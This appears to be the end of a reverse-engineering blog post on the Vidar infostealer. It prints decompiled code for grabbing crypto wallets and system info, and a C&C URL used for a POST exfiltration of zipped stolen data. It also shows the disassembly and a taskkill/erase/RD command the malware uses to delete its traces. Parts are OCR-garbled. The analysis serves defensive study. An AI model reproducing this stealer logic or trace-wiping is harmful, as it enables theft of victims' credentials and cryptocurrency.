sub_424E20(str_Dashcore, str_Dashcore, str_Walat);
sub 424E20(str Litecoin, str Litecoin, str Walat);
sub 424E20(str Anoncoin, str Anoncoin, str Walat);
sub_424E20(str_Bbqcoin, str_Bbqcoin, str_Walat);
sub_424E20(str_Devcoin, str_Devcoin, str_Walat);
sub_424E20(str_Digitalcoin, str_Digitalcoin, str_Walat);
sub_424E20(str_Florincoin, str_Florincoin, str_Walat);
sub_424E20(str_Franko, str_Franko, str_Walat);
sub_424E20(str_Freicoin, str_Freicoin, str_Walat);
sub_424E20(str_Goldcoingld, dword_43216C, str_Walat);
sub_424E20(str_Infinitecoin, str_Infinitecoin, str_Walat);
sub 424E20(str Iocoin, str Iocoin, str Walat);
sub_424E20(str_Ixcoin, str_Ixcoin, str_Walat);
sub_424E20(str_Megacoin, str_Megacoin, str_Walat);
sub 424E20(str_Mincoin, str_Mincoin, str_Walat);
sub_424E20(str_Namecoin, str_Namecoin, str_Walat);
sub_424E20(str_Primecoin, str_Primecoin, str Walat);
sub_424E20(str_Terracoin, str_Terracoin, str_Walat);
sub_424E20(str_Yacoin, str_Yacoin, str_Walat);
return sub_424E20(str_Jaxx, str_Omlibertyjaxxindexeddbfile0indexeddbleveldb, dword 4321DC);
```

Vidar creates an HTTP POST request for C&C (http://himarkh.xyz/main.php) server in order to download configuration for grabbing module at runtime, parses downloaded configuration and proceeds to gather host, hardware and installed software related info

which is stored in system.txt file according to the specified format as shown in figure below

```
v20 = fopen(str_Systemtxt, str_W);
  fprintf(v20, str_System);
 fprintf(v20, "\n");
 v0 = sub_41B260();
 fprintf(v20, str_Windowss, v0);
fprintf(v20, "\n");
 v1 = sub 41B220();
 fprintf(v20, str_Bits, v1);
  fprintf(v20, "\n");
  v2 = sub_41B1E0();
 fprintf(v20, str_Users, v2);
  fprintf(v20, "\n");
 v3 = sub_41B2E0();
  fprintf(v20, str_Computernames, v3);
  fprintf(v20, "\n");
  v4 = sub_41ABD0();
  fprintf(v20, str_Systemlanguages, v4);
 fprintf(v20, "\n");
 v5 = sub_41B0E0();
 fprintf(v20, str_Mahineids, v5);
fprintf(v20, "\n");
 v6 = sub_41B160();
  fprintf(v20, str_Guids, v6);
  fprintf(v20, "\n");
  v7 = sub_41B570();
 fprintf(v20, str_Domainnames, v7);
  fprintf(v20, "\n");
 v8 = sub_41B500();
  fprintf(v20, str_Workgroups, v8);
  fprintf(v20, "\n");
  v9 = sub 41AA60();
  fprintf(v20, str_Keyboardlanguagess, v9);
 fprintf(v20, "\n\n");
fprintf(v20, str_Hardware);
fprintf(v20, "\n");
 v10 = sub_41B460();
  fprintf(v20, str_Processors, v10);
fprintf(v20, "\n");
  v11 = sub_41B4E0();
```

File Edit Selection Find View Goto Tools Project Preferences Help **4** Þ system.txt System -----Windows: Windows 7 Home Basic Bit: x64 User: Computer Name: WIN-9 System Language: en-US Machine ID: 01966231-7feC GUID: {846ee340-7039-11-1-0.000 accura 9 Domain Name: Unknown 10 Workgroup: WORKGROUP Keyboard Languages: English (United States) Hardware -----Processor: Intel(R) Core(TM) i5-10210U CPU @ 1.00CHz Logical processors: 1 Videocard: VMware SVGA 3D Display: 1842x935 RAM: 2017 MB Laptop: No Time -----Local: 18/5/2022 1:9:8 Zone: UTC5 Network -----IP: IP? Country: Country? Installed Softwrare -----AutoIt v3.3.14.5 3.3.14.5 FileInsight - File analysis tool 32 HashCalc 2.02 33 IDA Pro Free v5.0 34 Magic ISO Maker v5.5 (build 0281) 35 Malcode Analyst Pack v0.24 Line 1, Column 1

the same routine also captures screenshots which is stored as "screenshot.jpg" inside working directory

~					
Compute	er 🕨 Local Disk (C:) 🕨 Pro	gramData 🕨 829402464	589470 ►		
Organize 👻 Include in	library 👻 Share with 🔹	Burn New fo	lder		
🔆 Favorites	Name		Date modified	Туре	Size
🧾 Desktop	鷆 autofill		5/18/2022 12:58 AM	File folder	
〕 Downloads	\rm cc		5/18/2022 12:58 AM	File folder	
퉬 FLARE	퉬 cookies		5/18/2022 12:58 AM	File folder	
📳 Recent Places	鷆 crypto		5/18/2022 12:58 AM	File folder	
퉬 Utilities	passwords.txt		5/18/2022 12:58 AM	Text Document	0 KB
	🔛 screenshot.jpg		5/18/2022 1:09 AM	JPEG image	294 KB
🥃 Libraries	system.txt		5/18/2022 1:09 AM	Text Document	6 KB
Documents	temp		5/18/2022 12:57 AM	File	84 KB
🚽 Music					

immidiately after that a zip file with "_8294024645.zip" name format is created and stolen contents from working directory are compressed (file is compressed using Zip2 encryption algorithm as identified by KANAL)

Name	Date modified	Туре	Size
퉬 autofill	5/17/2022 11:54 PM	File folder	
\mu cc	5/17/2022 11:54 PM	File folder	
퉬 cookies	5/17/2022 11:54 PM	File folder	
퉬 crypto	5/17/2022 11:54 PM	File folder	
🔒 _8719411362.zip	5/18/2022 12:14 AM	Compressed (zipp	248 KB

the compressed file is now ready to be exfiltrated to its C&C server in another POST request

after exiting from recursive grabbing module, it deletes downloaded DLLs and files created in working directory being used to dump stolen data and information in order to remove its traces from victim machine

0042118F	loc_42118F:	
	lea	ecx, [ebp+var_544]
	call	memset_sub_421580
	lea	ecx, [ebp+var_D834]
	push	ecx
	lea	edx, [ebp+var_A184]
	push	edx
	call	sub_420A30
	add	esp, 8
	lea	eax, [ebp+var_D834]
	push	еах ;_ржокр
	call	_SetCurrentDirectoryA
	call	<pre>gather_host_info_sub_41FC30</pre>
	push	•
	lea	ecx, [ebp+FileName]
	push	CCA
	call	<pre>create_zip_file_name_sub_416CE0</pre>
	add	esp, o
	mov	[ebp+var_10], eax
	lea	edx, [ebp+var_D834]
	push	edx ;int
	push	offset byte_4294DF ; char *
	mov	eax, [ebp+var_10]
	push	cax , 1110
	call	compress_files_sub_420540
	add 📕	
	mov	ecx, [ebp+var_10]
	push	ecx
	call	sub 417A10
	add	esp, 4
	lea	edx, [ebp+FileName]
	push	edx ; lpFileName
	mov	eax, str_File
	push	eax ;void *
	lea	ecx, [ebp+var_544]
	call	sub_4218C0
	mov	ecx, domain_name
	push	ecx ; void *
	lea	ecx, [ebp+var_544]
	call	http_post_sub_422460
	test	ca,, ca,
	jz	loc_4212D3

📕 🚄 🔛 00421342 loc_421342: 00421342 **lea** ecx, [ebp+var_D834] 00421348 push 00421349 call sub 41F540 0042134E **add** 00421351 mov edx, str_Cprogramdata 00421357 push edx ;_DWORD 00421358 call _SetCurrentDirectoryA 0042135E lea eax, [ebp+var_D834] 00421364 push eax ; _DWORD 00421365 call __RemoveDirectoryA 00421368 **mov** ecx, str_Cprogramdatasqlite3dll ; _DWORD 00421371 push ecx 80421372 call _DeleteFileA 30421378 **mov** edx, str_Cprogramdatafreeb13d11 0042137E push edx ; DWORD 0042137F call _DeleteFileA 00421385 **mov** eax, str_Cprogramdatamozgluedll 0042138A push eax ; _DWORD _DeleteFileA 0042138B call 00421391 mov ecx, str_Cprogramdatamsvcp140dll 00421397 push ecx ;_DWORD 00421398 call _DeleteFileA edx, str_Cprogramdatanss3dll 0042139E **mov** 004213A4 push edx ; _DWORD _DeleteFileA 004213A5 call eax, str_Cprogramdatasoftokn3d11 004213AB **mov** 00421380 push eax ; _DWORD 00421380 pa 00421381 call _DeleteFileA ecx, str_Cprogramdatavcruntime140dll 304213B7 **mov** 004213BD push ecx ; _DWORD 004213BE call _DeleteFileA 004213C4 **lea** edx, [ebp+var_D834] 004213CA push edx 004213CB call create taskKill sub 41A720 004213D0 **add**

eventually it prepares a command **"/c taskkill /pid PID & erase EXECUTABLE_PATH & RD /S /Q WORKING_DIRECTORY_PATH*** **& exit**" which gets executed using cmd.exe to kill the running infostealer process and to delete remaining directories created by this process and the process itself.

That's it for Vidar infostealer's in-depth static analysis and analysis automation! see you soon in another blogpost.